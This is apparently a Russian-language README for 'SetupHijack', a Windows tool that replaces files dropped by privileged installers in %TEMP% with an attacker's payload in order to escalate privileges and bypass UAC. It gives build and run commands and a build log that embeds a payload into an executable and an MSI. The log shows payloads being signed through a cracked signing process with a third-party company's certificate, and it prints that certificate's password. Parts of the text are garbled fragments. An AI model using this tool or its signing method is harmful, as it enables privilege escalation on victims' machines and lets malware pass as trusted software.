
SetupHijack - это инструмент для исследования безопасности, который использует состояния гонки и небезопасную обработку файлов в установщиках и процессах обновления приложений Windows.
SetupHijack — это инструмент для исследования безопасности, который использует состояния гонки и небезопасную обработку файлов в процессах установки и обновления Windows. Он нацелен на сценарии, где привилегированные установщики или обновляющие программы помещают файлы в %TEMP% или другие общедоступные для записи расположения, что позволяет злоумышленнику заменить эти файлы до их выполнения с повышенными привилегиями.
.exe, .msi и пакетные файлы (например, sysinfo, netstat, ipconfig).Предполагаемое использование этого инструмента — запуск в фоновом режиме на скомпрометированной учетной записи пользователя с привилегиями, чтобы повысить привилегии другого процесса путем перехвата сбрасываемых файлов установщиков/обновляющих программ.
На диаграмме ниже показаны примеры использования этой уязвимости в реальных сценариях, которые могут быть использованы для обхода UAC. Обход UAC считается границей безопасности при работе под Adminless и является распространённым "требованием злоумышленника" для отключения средств безопасности. Использование привилегированных операций администратора обеспечивает общий доступ для вредоносного кода к боковой загрузке или повышению привилегий процессов. Этот инструмент может использоваться для идентификации дополнительных приложений, подверженных таким же типам риска; злоумышленник может дождаться выполнения этих процессов как средства получения повышенных прав без нарушения поведения пользователей.

%TEMP% (и подкаталоги) на наличие новых или изменённых файлов установщиков..bak.В этом проекте используется взломанный процесс подписи кода с SignToolEx.exe и SignToolExHook.dll для подписи полезных нагрузок и установщиков. Использование действительных сертификатов подписи кода и метки времени Authenticode повысит ваш процент успеха при обходе проверок доверия установщика и ОС.
nmake PAYLOAD=c:\Path\to\your\payload.exe
### Запуск (опции)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp, -noappdata или -nodownloads.clean восстанавливает резервные копии во всех включенных местоположениях. Флаг verbose регистрирует все действия.shadow.exe или аналогичными инструментами в службах терминалов.
%TEMP% и запускает их с повышенными правами, ваша полезная нагрузка будет подставлена и выполнена.Ниже приведен реальный пример сборки и запуска SetupHijack, включая подпись кода и результат заражения:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0